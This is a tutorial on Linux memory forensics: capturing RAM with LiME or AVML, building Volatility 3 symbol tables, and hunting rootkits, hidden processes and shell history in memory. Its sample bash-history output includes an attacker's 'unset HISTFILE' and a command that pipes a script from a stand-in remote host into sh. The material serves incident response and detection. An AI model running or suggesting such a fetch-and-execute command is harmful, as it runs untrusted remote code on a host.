Skip to content

Linux Memory Forensics with LiME, AVML and Volatility 3

Acquire Linux RAM with LiME or AVML, build Volatility 3 symbol tables with dwarf2json, and find hidden processes, rootkit modules and bash history in memory.

Published on 7 min read

Disk evidence tells you what an attacker left behind. Memory tells you what was running. Fileless payloads, processes whose binary has been deleted, injected code, live network sockets, decrypted configuration and the in-memory history of a shell whose HISTFILE pointed at /dev/null exist only in RAM. On Linux, memory forensics is also the most reliable way to check a host for kernel rootkits, because the analysis runs on a different machine that the rootkit cannot influence. This guide covers acquisition with LiME and AVML, building Volatility 3 symbol tables, and the plugins that answer the usual incident questions.

Why memory comes first

Following the order of volatility, RAM is captured before anything else. Every command you run during live response allocates memory and can overwrite freed pages that still hold evidence, so the capture should be the first substantial action on the host, done with a tool you brought on external media. Disk imaging follows, as described in acquiring Linux evidence.

Two constraints shape the approach. First, a memory image is a smear: the system keeps running while pages are read, so structures can be inconsistent between the start and end of the capture. Second, you cannot hash the source. You can only hash the output file and document the process.

Acquisition options

ToolRuns asSourceOutputMain caveat
LiMEKernel modulePhysical memory via kernellime, raw or paddedMust be compiled for the exact kernel
AVMLStatic userland binary/dev/crash, /proc/kcore or /dev/memLiME format (optionally compressed)Needs at least one source readable; lockdown can block it
/proc/kcore copyAny toolKernel virtual address space (ELF)ELF coreNot a physical image; naive copies are huge or incomplete

LiME

LiME (github.com/504ensicsLabs/LiME) is a loadable kernel module. Because modules are tied to the kernel version and configuration, you must build it against headers for the exact running kernel, ideally on a clean system with the same distribution and kernel package, never on the suspect host.

# On a build machine matching the target kernel
git clone https://github.com/504ensicsLabs/LiME && cd LiME/src
make    # produces lime-<kernel-version>.ko

# On the target: write to external media
sudo insmod ./lime-$(uname -r).ko "path=/media/ir/web-prod-03.lime format=lime"

# Or stream over TCP to avoid touching local storage
sudo insmod ./lime-$(uname -r).ko "path=tcp:4444 format=lime"
# On the analysis workstation
nc 192.0.2.10 4444 > web-prod-03.lime

The lime format prefixes each physical memory range with a header recording its address, which Volatility uses to map the file. Unload the module with rmmod lime after the capture. Loading any module is a change to the kernel: note it in your case log, and expect failure on systems enforcing module signature verification (for example with Secure Boot and lockdown enabled) unless the module is signed with a trusted key.

AVML

AVML (github.com/microsoft/avml) is a statically linked Rust binary that needs no compilation per kernel. It tries /dev/crash, then /proc/kcore, then /dev/mem and writes a LiME-formatted image.

sudo /media/ir/avml acquire /media/ir/web-prod-03.lime
# Compressed output must be converted before analysis
sudo /media/ir/avml acquire --compress /media/ir/web-prod-03.lime.compressed
avml convert web-prod-03.lime.compressed web-prod-03.lime

/dev/mem is normally restricted to the first megabyte by CONFIG_STRICT_DEVMEM, so in practice AVML relies on /proc/kcore on most distributions. Kernel lockdown in confidentiality mode also blocks /proc/kcore, and the AVML README warns that it cannot acquire memory under lockdown; LiME with a signed module, or hypervisor-level capture for virtual machines, is then the fallback. Older AVML releases used avml <file> without a subcommand and a separate avml-convert binary, so check avml --help for the version you carry.

Integrity and documentation

Hash the image immediately and record the tool version, kernel release, uptime and system time. The kernel release string is also what you will need to build symbols.

sha256sum web-prod-03.lime > web-prod-03.lime.sha256
uname -a; cat /proc/uptime; date -u

For cloud and virtual machines, a hypervisor snapshot that includes memory (VMware .vmem, for instance) avoids running anything inside the guest and is often the cleanest option.

Building Volatility 3 symbol tables

Volatility 3 (github.com/volatilityfoundation/volatility3) replaced the profiles of Volatility 2 with ISF (Intermediate Symbol Format) JSON files. Windows symbols can be fetched automatically; Linux symbols usually cannot, because there are thousands of kernel builds. You generate them yourself.

First identify the kernel from the image itself rather than trusting notes:

vol -f web-prod-03.lime banners.Banners
Offset       Banner
0x1a00140    Linux version 5.15.0-91-generic (buildd@lcy02-amd64-045) (gcc ...) #101-Ubuntu SMP ...

Then obtain the debug kernel (vmlinux with DWARF information) and the System.map for that exact build, and run dwarf2json:

# Ubuntu: the linux-image-<release>-dbgsym package from the ddebs repository
#   vmlinux: /usr/lib/debug/boot/vmlinux-5.15.0-91-generic
# RHEL family: kernel-debuginfo (dnf debuginfo-install kernel-<release>)
#   vmlinux: /usr/lib/debug/lib/modules/<release>/vmlinux

./dwarf2json linux \
  --elf /usr/lib/debug/boot/vmlinux-5.15.0-91-generic \
  --system-map /boot/System.map-5.15.0-91-generic \
  | xz > ubuntu-5.15.0-91-generic.json.xz

mkdir -p ~/vol-symbols/linux && mv ubuntu-5.15.0-91-generic.json.xz ~/vol-symbols/linux/
vol -s ~/vol-symbols -f web-prod-03.lime linux.pslist.PsList

The ISF must match the banner exactly; a symbol file from a neighbouring build will either be rejected or produce garbage. Keep a library of ISF files for the kernels you support so you are not hunting for debug packages during an incident. Custom or vendor kernels without published debug symbols are the hardest case, which is a good reason to archive debug packages for your own fleet.

For a quick first pass with nothing to install, RAM Parser opens LiME and compressed AVML images in the browser and runs its Linux plugins, including module checks and bash history recovery, entirely client-side. Treat it as triage alongside Volatility 3, not a replacement: confirm anything it surfaces with the plugins below.

Core plugins and what they reveal

Processes

linux.pslist.PsList walks the kernel task list, linux.pstree.PsTree shows parent-child relationships, and linux.psaux.PsAux adds full command lines. A web server worker spawning sh, which in turn runs curl or python3, stands out immediately in the tree.

vol -f web-prod-03.lime linux.pstree.PsTree
vol -f web-prod-03.lime linux.psaux.PsAux
vol -f web-prod-03.lime linux.envars.Envars --pid 4312

linux.envars.Envars exposes environment variables such as LD_PRELOAD, HISTFILE or the SSH_CONNECTION that shows where an interactive session came from.

Files, network and mappings

linux.lsof.Lsof lists open file descriptors per process, including deleted files and sockets. linux.sockstat.Sockstat lists sockets with their addresses and owning process, which is how you spot a reverse shell to 203.0.113.50. linux.elfs.Elfs lists ELF files mapped by each process, useful for finding a payload running from /dev/shm or a deleted path. linux.malware.malfind.Malfind flags memory regions that are writable and executable and not backed by a file, a common trace of injected code.

Shell history from memory

vol -f web-prod-03.lime linux.bash.Bash
PID   Process  CommandTime                   Command
4312  bash     2026-09-27 22:14:03.000000    unset HISTFILE
4312  bash     2026-09-27 22:14:19.000000    curl -s http://203.0.113.50/x.sh | sh

The plugin recovers history entries held in the heap of running bash processes, so it defeats unset HISTFILE and similar evasion as long as the shell was alive at capture time. It does not cover zsh or other shells, and it sees nothing from sessions that had already exited. Compare the output with on-disk history as described in the user activity guides.

Detecting rootkits and hidden objects

Kernel rootkits hide by unlinking or hooking kernel structures. Memory analysis catches them by cross-checking views that a rootkit rarely manipulates consistently:

  • Hidden modules: linux.lsmod.Lsmod shows the module list; linux.malware.check_modules.Check_modules compares it with modules registered in sysfs, and linux.malware.hidden_modules.Hidden_modules carves memory for module structures missing from the list.
  • Syscall hooks: linux.malware.check_syscall.Check_syscall reports system call table entries that point outside the kernel image, a classic hooking technique.
  • Hidden processes: compare linux.pslist.PsList with scanning-based output (recent Volatility 3 releases include linux.psscan.PsScan). A process present in the scan but missing from the list deserves attention.
  • TTY hooks: linux.malware.tty_check.Tty_Check verifies TTY operation handlers, which keyloggers may redirect.

A hit is a lead, not a verdict. Legitimate security agents and out-of-tree drivers can hook kernel functions, so correlate with the module name, its load time in the journal and /etc/modules-load.d as covered in hunting Linux persistence.

Workflow summary

StepActionOutput
1Capture RAM with AVML or LiME to external media or over TCP.lime image
2Hash the image, record kernel release, uptime and UTC timeCase log entry
3Identify kernel with banners.BannersExact banner string
4Build ISF with dwarf2json from matching vmlinux and System.map.json.xz symbol table
5Process triage: PsList, PsTree, PsAux, EnvarsSuspicious PIDs
6Network and files: Sockstat, Lsof, Elfs, MalfindIOCs, payload paths
7User activity: linux.bash.BashCommands with timestamps
8Rootkit checks: Lsmod, then linux.malware Check_modules, Hidden_modules, Check_syscall, Tty_CheckKernel integrity findings

Timestamps from Volatility are reported in UTC. Correlate them with disk artifacts only after normalising those to UTC as well.

Key takeaways

  • Capture memory first and from external media; the image is a smear, so hash the output and document the process.
  • AVML avoids per-kernel builds; LiME works where userland interfaces are blocked but must match the kernel exactly.
  • Volatility 3 needs an ISF built with dwarf2json from the exact kernel's debug vmlinux and System.map; identify it with banners.Banners.
  • linux.bash.Bash recovers commands that never reached .bash_history, but only for shells still running.
  • Rootkit detection relies on cross-view comparisons; treat each anomaly as a lead to corroborate.